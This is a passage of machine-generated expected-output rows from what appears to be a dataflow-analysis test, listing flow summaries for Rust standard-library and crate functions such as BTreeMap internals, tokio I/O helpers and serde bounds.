lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | HandleStore.TokenStream | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new | TokenStream | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::TokenStream(0)] in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[1].Field[0] in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new | Span | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::Span(0)] in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[1].Field[0] in lang:proc_macro::_::::new | -| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new_raw | Span | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::Span(0)] in lang:proc_macro::_::::new_raw | -| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new_raw | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[1].Field[0] in lang:proc_macro::_::::new_raw | -| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::crate::bridge::client::state::set | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:proc_macro::_::crate::bridge::client::state::set | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::crate::io::append_to_string | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::crate::io::append_to_string | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::crate::sys::pal::common::small_c_string::run_path_with_cstr | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::crate::sys::pal::common::small_c_string::run_path_with_cstr | -| file://:0:0:0:0 | [summary param] 1 in lang:std::_::crate::sys::pal::common::small_c_string::run_with_cstr | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::crate::sys::pal::common::small_c_string::run_with_cstr | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/clap-rs/clap:clap_builder::_::::unwrap | Ok | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::result::Result::Ok(0)] in repo:https://github.com/clap-rs/clap:clap_builder::_::::unwrap | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_bound | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_bound | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_self_bound | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_self_bound | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates_from_fields | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates_from_fields | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates_from_variants | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates_from_variants | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::finalize | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::finalize | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::finalize | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::finalize | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io_mut | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io_mut | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::set | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::set | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::sync_scope | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::sync_scope | -| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | Ok | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | -| file://:0:0:0:0 | [summary param] 2 in lang:proc_macro::_::::run_bridge_and_client | function return | file://:0:0:0:0 | [summary] read: Argument[2].ReturnValue in lang:proc_macro::_::::run_bridge_and_client | -| file://:0:0:0:0 | [summary param] 2 in lang:proc_macro::_::::run_bridge_and_client | function return | file://:0:0:0:0 | [summary] read: Argument[2].ReturnValue in lang:proc_macro::_::::run_bridge_and_client | -| file://:0:0:0:0 | [summary param] 2 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | Err | file://:0:0:0:0 | [summary] read: Argument[2].Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | -| file://:0:0:0:0 | [summary param] 2 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_to_end::read_to_end_internal | &ref | file://:0:0:0:0 | [summary] read: Argument[2].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_to_end::read_to_end_internal | -| file://:0:0:0:0 | [summary param] 2 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::runtime::enter_runtime | function return | file://:0:0:0:0 | [summary] read: Argument[2].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::runtime::enter_runtime | -| file://:0:0:0:0 | [summary param] 4 in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | element | file://:0:0:0:0 | [summary] read: Argument[4].Element in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | -| file://:0:0:0:0 | [summary param] 4 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::read_line_internal | &ref | file://:0:0:0:0 | [summary] read: Argument[4].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::read_line_internal | -| file://:0:0:0:0 | [summary param] 4 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_until::read_until_internal | &ref | file://:0:0:0:0 | [summary] read: Argument[4].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_until::read_until_internal | -| file://:0:0:0:0 | [summary param] 5 in lang:core::_::crate::num::flt2dec::to_exact_exp_str | element | file://:0:0:0:0 | [summary] read: Argument[5].Element in lang:core::_::crate::num::flt2dec::to_exact_exp_str | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::<&&str as crate::string::SpecToString>::spec_to_string | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&&str as crate::string::SpecToString>::spec_to_string | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::<_ as crate::borrow::ToOwned>::to_owned | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<_ as crate::borrow::ToOwned>::to_owned | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::deref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::into_owned | Owned | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::borrow::Cow::Owned(0)] in lang:alloc::_::::into_owned | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::to_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::to_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_ref | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::deref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::borrow | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::borrow_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::as_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::as_ref | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::deref | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::deref_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::index | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::index | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::index_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::index_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_bytes | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::as_bytes | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::kind | TryReserveError | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::TryReserveError::kind] in lang:alloc::_::::kind | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | BinaryHeap | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_into_iter | IntoIter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::IntoIter::iter] in lang:alloc::_::::as_into_iter | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next | Iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::Iter::iter] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | BTreeMap.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::extract_if_inner | BTreeMap.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::extract_if_inner | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::iter | BTreeMap.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::length] in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::iter_mut | BTreeMap.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::length] in lang:alloc::_::::iter_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | BTreeMap.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::length] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::split_off | BTreeMap.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::split_off | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::peek_next | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_next | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::peek_prev | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_prev | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::prev | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::prev | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::with_mutable_key | CursorMut | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMut::inner] in lang:alloc::_::::with_mutable_key | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next | CursorMutKey.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::prev | CursorMutKey.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current] in lang:alloc::_::::prev | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next | ExtractIfInner.cur_leaf_edge | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | ExtractIfInner.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::length] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | IntoIter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IntoIter::length] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | IntoIter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IntoIter::length] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::iter | IntoIter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IntoIter::length] in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | Iter.range | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::range] in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | IterMut.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | IterMut.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::iter | IterMut.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::iter | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | Keys | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Keys::inner] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | Keys | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Keys::inner] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | Range | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Range::inner] in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | Values | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Values::inner] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | Values | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Values::inner] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | ValuesMut | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ValuesMut::inner] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | ValuesMut | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ValuesMut::inner] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::entry::Entry::Occupied(0)] in lang:alloc::_::::and_modify | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::entry::Entry::Vacant(0)] in lang:alloc::_::::and_modify | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::insert_entry | Occupied | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::entry::Entry::Occupied(0)] in lang:alloc::_::::insert_entry | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::insert_entry | VacantEntry.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::entry::VacantEntry::alloc] in lang:alloc::_::::insert_entry | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::insert_entry | VacantEntry.dormant_map | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::entry::VacantEntry::dormant_map] in lang:alloc::_::::insert_entry | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::into_key | VacantEntry.key | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::entry::VacantEntry::key] in lang:alloc::_::::into_key | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::key | VacantEntry.key | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::entry::VacantEntry::key] in lang:alloc::_::::key | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::nexts | MergeIterInner.a | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::merge_iter::MergeIterInner::a] in lang:alloc::_::::nexts | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::nexts | MergeIterInner.b | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::merge_iter::MergeIterInner::b] in lang:alloc::_::::nexts | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | Edge | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::navigate::LazyLeafHandle::Edge(0)] in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | Root | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::navigate::LazyLeafHandle::Root(0)] in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::into_left_child | BalancingContext.left_child | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::left_child] in lang:alloc::_::::into_left_child | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::into_right_child | BalancingContext.right_child | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::right_child] in lang:alloc::_::::into_right_child | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::merge_tracking_child | BalancingContext.left_child | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::left_child] in lang:alloc::_::::merge_tracking_child | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::merge_tracking_child_edge | BalancingContext.left_child | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::left_child] in lang:alloc::_::::merge_tracking_child_edge | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::merge_tracking_parent | BalancingContext.parent | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::parent] in lang:alloc::_::::merge_tracking_parent | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::steal_left | BalancingContext.right_child | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::right_child] in lang:alloc::_::::steal_left | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::steal_right | BalancingContext.left_child | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::left_child] in lang:alloc::_::::steal_right | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::awaken | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::awaken | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::cast_to_leaf_unchecked | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::cast_to_leaf_unchecked | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::dormant | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::dormant | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::force | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::force | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::forget_node_type | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::forget_node_type | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::idx | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::idx | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::into_node | Handle.node | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::into_node | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::left_edge | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::left_edge | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::left_edge | Handle.node | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::left_edge | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::left_kv | Handle.node | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::left_kv | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::reborrow | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::reborrow | Handle.node | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::reborrow_mut | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::reborrow_mut | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::right_edge | Handle.node | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::right_edge | -| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::right_kv | Handle.idx | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::right_kv | -| file://:0:0:0:0 | [summary 